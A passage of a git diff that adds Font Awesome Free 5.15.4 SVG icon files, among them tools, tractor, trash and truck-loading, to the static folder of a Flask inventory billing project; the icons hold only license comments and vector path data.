214.63l-45.25-45.25c-6-6-14.14-9.37-22.63-9.37H384V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v80H77.25c-8.49 0-16.62 3.37-22.63 9.37L9.37 214.63c-6 6-9.37 14.14-9.37 22.63V320h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-82.75c0-8.48-3.37-16.62-9.37-22.62zM320 160H192V96h128v64zm64 208c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H192v16c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H0v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96H384v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tools.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tools.svg new file mode 100644 index 00000000..525f9160 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tools.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M501.1 395.7L384 278.6c-23.1-23.1-57.6-27.6-85.4-13.9L192 158.1V96L64 0 0 64l96 128h62.1l106.6 106.6c-13.6 27.8-9.2 62.3 13.9 85.4l117.1 117.1c14.6 14.6 38.2 14.6 52.7 0l52.7-52.7c14.5-14.6 14.5-38.2 0-52.7zM331.7 225c28.3 0 54.9 11 74.9 31l19.4 19.4c15.8-6.9 30.8-16.5 43.8-29.5 37.1-37.1 49.7-89.3 37.9-136.7-2.2-9-13.5-12.1-20.1-5.5l-74.4 74.4-67.9-11.3L334 98.9l74.4-74.4c6.6-6.6 3.4-17.9-5.7-20.2-47.4-11.7-99.6.9-136.6 37.9-28.5 28.5-41.9 66.1-41.2 103.6l82.1 82.1c8.1-1.9 16.5-2.9 24.7-2.9zm-103.9 82l-56.7-56.7L18.7 402.8c-25 25-25 65.5 0 90.5s65.5 25 90.5 0l123.6-123.6c-7.6-19.9-9.9-41.6-5-62.7zM64 472c-13.2 0-24-10.8-24-24 0-13.3 10.7-24 24-24s24 10.7 24 24c0 13.2-10.7 24-24 24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tooth.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tooth.svg new file mode 100644 index 00000000..38b21680 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tooth.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M443.98 96.25c-11.01-45.22-47.11-82.06-92.01-93.72-32.19-8.36-63 5.1-89.14 24.33-3.25 2.39-6.96 3.73-10.5 5.48l28.32 18.21c7.42 4.77 9.58 14.67 4.8 22.11-4.46 6.95-14.27 9.86-22.11 4.8L162.83 12.84c-20.7-10.85-43.38-16.4-66.81-10.31-44.9 11.67-81 48.5-92.01 93.72-10.13 41.62-.42 80.81 21.5 110.43 23.36 31.57 32.68 68.66 36.29 107.35 4.4 47.16 10.33 94.16 20.94 140.32l7.8 33.95c3.19 13.87 15.49 23.7 29.67 23.7 13.97 0 26.15-9.55 29.54-23.16l34.47-138.42c4.56-18.32 20.96-31.16 39.76-31.16s35.2 12.85 39.76 31.16l34.47 138.42c3.39 13.61 15.57 23.16 29.54 23.16 14.18 0 26.48-9.83 29.67-23.7l7.8-33.95c10.61-46.15 16.53-93.16 20.94-140.32 3.61-38.7 12.93-75.78 36.29-107.35 21.95-29.61 31.66-68.8 21.53-110.43z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/torah.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/torah.svg new file mode 100644 index 00000000..2d719d3d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/torah.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320.05 366.48l17.72-29.64h-35.46zm99.21-166H382.4l18.46 30.82zM48 0C21.49 0 0 14.33 0 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32C96 14.33 74.51 0 48 0zm172.74 311.5h36.85l-18.46-30.82zm161.71 0h36.86l-18.45-30.8zM128 464h384V48H128zm66.77-278.13a21.22 21.22 0 0 1 18.48-10.71h59.45l29.13-48.71a21.13 21.13 0 0 1 18.22-10.37A20.76 20.76 0 0 1 338 126.29l29.25 48.86h59.52a21.12 21.12 0 0 1 18.1 32L415.63 256 445 305a20.69 20.69 0 0 1 .24 21.12 21.25 21.25 0 0 1-18.48 10.72h-59.47l-29.13 48.7a21.13 21.13 0 0 1-18.16 10.4 20.79 20.79 0 0 1-18-10.22l-29.25-48.88h-59.5a21.11 21.11 0 0 1-18.1-32L224.36 256 195 207a20.7 20.7 0 0 1-.23-21.13zM592 0c-26.51 0-48 14.33-48 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32c0-17.67-21.49-32-48-32zM320 145.53l-17.78 29.62h35.46zm-62.45 55h-36.81l18.44 30.8zm29.58 111h65.79L386.09 256l-33.23-55.52h-65.79L253.9 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/torii-gate.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/torii-gate.svg new file mode 100644 index 00000000..5bc8e86e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/torii-gate.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M376.45 32h-240.9A303.17 303.17 0 0 1 0 0v96c0 17.67 14.33 32 32 32h32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h256v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h48c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-48v-64h32c17.67 0 32-14.33 32-32V0a303.17 303.17 0 0 1-135.55 32zM128 128h96v64h-96v-64zm256 64h-96v-64h96v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tractor.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tractor.svg new file mode 100644 index 00000000..3e12d1a0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tractor.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 336c-48.6 0-88 39.4-88 88s39.4 88 88 88 88-39.4 88-88-39.4-88-88-88zm0 112c-13.23 0-24-10.77-24-24s10.77-24 24-24 24 10.77 24 24-10.77 24-24 24zm80-288h-64v-40.2c0-14.12 4.7-27.76 13.15-38.84 4.42-5.8 3.55-14.06-1.32-19.49L534.2 37.3c-6.66-7.45-18.32-6.92-24.7.78C490.58 60.9 480 89.81 480 119.8V160H377.67L321.58 29.14A47.914 47.914 0 0 0 277.45 0H144c-26.47 0-48 21.53-48 48v146.52c-8.63-6.73-20.96-6.46-28.89 1.47L36 227.1c-8.59 8.59-8.59 22.52 0 31.11l5.06 5.06c-4.99 9.26-8.96 18.82-11.91 28.72H22c-12.15 0-22 9.85-22 22v44c0 12.15 9.85 22 22 22h7.14c2.96 9.91 6.92 19.46 11.91 28.73l-5.06 5.06c-8.59 8.59-8.59 22.52 0 31.11L67.1 476c8.59 8.59 22.52 8.59 31.11 0l5.06-5.06c9.26 4.99 18.82 8.96 28.72 11.91V490c0 12.15 9.85 22 22 22h44c12.15 0 22-9.85 22-22v-7.14c9.9-2.95 19.46-6.92 28.72-11.91l5.06 5.06c8.59 8.59 22.52 8.59 31.11 0l31.11-31.11c8.59-8.59 8.59-22.52 0-31.11l-5.06-5.06c4.99-9.26 8.96-18.82 11.91-28.72H330c12.15 0 22-9.85 22-22v-6h80.54c21.91-28.99 56.32-48 95.46-48 18.64 0 36.07 4.61 51.8 12.2l50.82-50.82c6-6 9.37-14.14 9.37-22.63V192c.01-17.67-14.32-32-31.99-32zM176 416c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm22-256h-38V64h106.89l41.15 96H198z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trademark.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trademark.svg new file mode 100644 index 00000000..22b9a11e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trademark.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M260.6 96H12c-6.6 0-12 5.4-12 12v43.1c0 6.6 5.4 12 12 12h85.1V404c0 6.6 5.4 12 12 12h54.3c6.6 0 12-5.4 12-12V163.1h85.1c6.6 0 12-5.4 12-12V108c.1-6.6-5.3-12-11.9-12zM640 403l-24-296c-.5-6.2-5.7-11-12-11h-65.4c-5.1 0-9.7 3.3-11.3 8.1l-43.8 127.1c-7.2 20.6-16.1 52.8-16.1 52.8h-.9s-8.9-32.2-16.1-52.8l-43.8-127.1c-1.7-4.8-6.2-8.1-11.3-8.1h-65.4c-6.2 0-11.4 4.8-12 11l-24.4 296c-.6 7 4.9 13 12 13H360c6.3 0 11.5-4.9 12-11.2l9.1-132.9c1.8-24.2 0-53.7 0-53.7h.9s10.7 33.6 17.9 53.7l30.7 84.7c1.7 4.7 6.2 7.9 11.3 7.9h50.3c5.1 0 9.6-3.2 11.3-7.9l30.7-84.7c7.2-20.1 17.9-53.7 17.9-53.7h.9s-1.8 29.5 0 53.7l9.1 132.9c.4 6.3 5.7 11.2 12 11.2H628c7 0 12.5-6 12-13z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/traffic-light.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/traffic-light.svg new file mode 100644 index 00000000..93fa488c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/traffic-light.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 192h-64v-37.88c37.2-13.22 64-48.38 64-90.12h-64V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v32H0c0 41.74 26.8 76.9 64 90.12V192H0c0 41.74 26.8 76.9 64 90.12V320H0c0 42.84 28.25 78.69 66.99 91.05C79.42 468.72 130.6 512 192 512s112.58-43.28 125.01-100.95C355.75 398.69 384 362.84 384 320h-64v-37.88c37.2-13.22 64-48.38 64-90.12zM192 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trailer.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trailer.svg new file mode 100644 index 00000000..b535df91 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trailer.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624,320H544V80a16,16,0,0,0-16-16H16A16,16,0,0,0,0,80V368a16,16,0,0,0,16,16H65.61c7.83-54.21,54-96,110.39-96s102.56,41.79,110.39,96H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM96,243.68a176.29,176.29,0,0,0-32,20.71V136a8,8,0,0,1,8-8H88a8,8,0,0,1,8,8Zm96-18.54c-5.31-.49-10.57-1.14-16-1.14s-10.69.65-16,1.14V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,39.25a176.29,176.29,0,0,0-32-20.71V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8ZM384,320H352V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,0H448V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm-304,0a80,80,0,1,0,80,80A80,80,0,0,0,176,320Zm0,112a32,32,0,1,1,32-32A32,32,0,0,1,176,432Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/train.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/train.svg new file mode 100644 index 00000000..dcb4bf0e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/train.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zm-48 136V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24zm-176 64c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tram.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tram.svg new file mode 100644 index 00000000..090c9988 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tram.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 64c17.7 0 32-14.3 32-32S305.7 0 288 0s-32 14.3-32 32 14.3 32 32 32zm223.5-12.1c-2.3-8.6-11-13.6-19.6-11.3l-480 128c-8.5 2.3-13.6 11-11.3 19.6C2.5 195.3 8.9 200 16 200c1.4 0 2.8-.2 4.1-.5L240 140.8V224H64c-17.7 0-32 14.3-32 32v224c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H272v-91.7l228.1-60.8c8.6-2.3 13.6-11.1 11.4-19.6zM176 384H80v-96h96v96zm160-96h96v96h-96v-96zm-32 0v96h-96v-96h96zM192 96c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/transgender-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/transgender-alt.svg new file mode 100644 index 00000000..cb8de096 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/transgender-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M468 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C294.5 104.1 268.2 96 240 96c-28.2 0-54.5 8.1-76.7 22.1l-16.5-16.5 19.8-19.8c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0l-19.8 19.8-19-19 16.9-16.9C107.1 12.9 101.7 0 91 0H12C5.4 0 0 5.4 0 12v79c0 10.7 12.9 16 20.5 8.5l16.9-16.9 19 19-19.8 19.8c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l19.8-19.8 16.5 16.5C104.1 185.5 96 211.8 96 240c0 68.5 47.9 125.9 112 140.4V408h-36c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM240 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/transgender.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/transgender.svg new file mode 100644 index 00000000..4aea461b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/transgender.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M372 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C198.5 104.1 172.2 96 144 96 64.5 96 0 160.5 0 240c0 68.5 47.9 125.9 112 140.4V408H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM144 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash-alt.svg new file mode 100644 index 00000000..edf03840 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm272-256a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash-restore-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash-restore-alt.svg new file mode 100644 index 00000000..daa9b224 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash-restore-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm91.31-172.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash-restore.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash-restore.svg new file mode 100644 index 00000000..c0e68f81 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash-restore.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32zm70.11-175.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash.svg new file mode 100644 index 00000000..18f52c5f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tree.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tree.svg new file mode 100644 index 00000000..09e27901 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/tree.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M378.31 378.49L298.42 288h30.63c9.01 0 16.98-5 20.78-13.06 3.8-8.04 2.55-17.26-3.28-24.05L268.42 160h28.89c9.1 0 17.3-5.35 20.86-13.61 3.52-8.13 1.86-17.59-4.24-24.08L203.66 4.83c-6.03-6.45-17.28-6.45-23.32 0L70.06 122.31c-6.1 6.49-7.75 15.95-4.24 24.08C69.38 154.65 77.59 160 86.69 160h28.89l-78.14 90.91c-5.81 6.78-7.06 15.99-3.27 24.04C37.97 283 45.93 288 54.95 288h30.63L5.69 378.49c-6 6.79-7.36 16.09-3.56 24.26 3.75 8.05 12 13.25 21.01 13.25H160v24.45l-30.29 48.4c-5.32 10.64 2.42 23.16 14.31 23.16h95.96c11.89 0 19.63-12.52 14.31-23.16L224 440.45V416h136.86c9.01 0 17.26-5.2 21.01-13.25 3.8-8.17 2.44-17.47-3.56-24.26z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trophy.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trophy.svg new file mode 100644 index 00000000..9ede04f9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/trophy.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M552 64H448V24c0-13.3-10.7-24-24-24H152c-13.3 0-24 10.7-24 24v40H24C10.7 64 0 74.7 0 88v56c0 35.7 22.5 72.4 61.9 100.7 31.5 22.7 69.8 37.1 110 41.7C203.3 338.5 240 360 240 360v72h-48c-35.3 0-64 20.7-64 56v12c0 6.6 5.4 12 12 12h296c6.6 0 12-5.4 12-12v-12c0-35.3-28.7-56-64-56h-48v-72s36.7-21.5 68.1-73.6c40.3-4.6 78.6-19 110-41.7 39.3-28.3 61.9-65 61.9-100.7V88c0-13.3-10.7-24-24-24zM99.3 192.8C74.9 175.2 64 155.6 64 144v-16h64.2c1 32.6 5.8 61.2 12.8 86.2-15.1-5.2-29.2-12.4-41.7-21.4zM512 144c0 16.1-17.7 36.1-35.3 48.8-12.5 9-26.7 16.2-41.8 21.4 7-25 11.8-53.6 12.8-86.2H512v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-loading.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-loading.svg new file mode 100644 index 00000000..21865b8e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/truck-loading.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M50.2 375.6c2.3 8.5 11.1 13.6 19.6 11.3l216.4-58c8.5-2.3 13.6-11.1 11.3-19.6l-49.7-185.5c-2.3-8.5-11.1-13.6-19.6-11.3L151 133.3l24.8 92.7-61.8 16.5-24.8-92.7-77.3 20.7C3.4 172.8-1.7 181.6.6 190.1l49.6 185.5zM384 0c-17.7 0-32 14.3-32 32v323.6L5.9 450c-4.3 1.2-6.8 5.6-5.6 9.8l12.6 46.3c1.2 4.3 5.6 6.8 9.8 5.6l393.7-107.4C418.8 464.1 467.6 512 528 512c61.9 0 112-50.1 112-112V0H384zm144 448c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 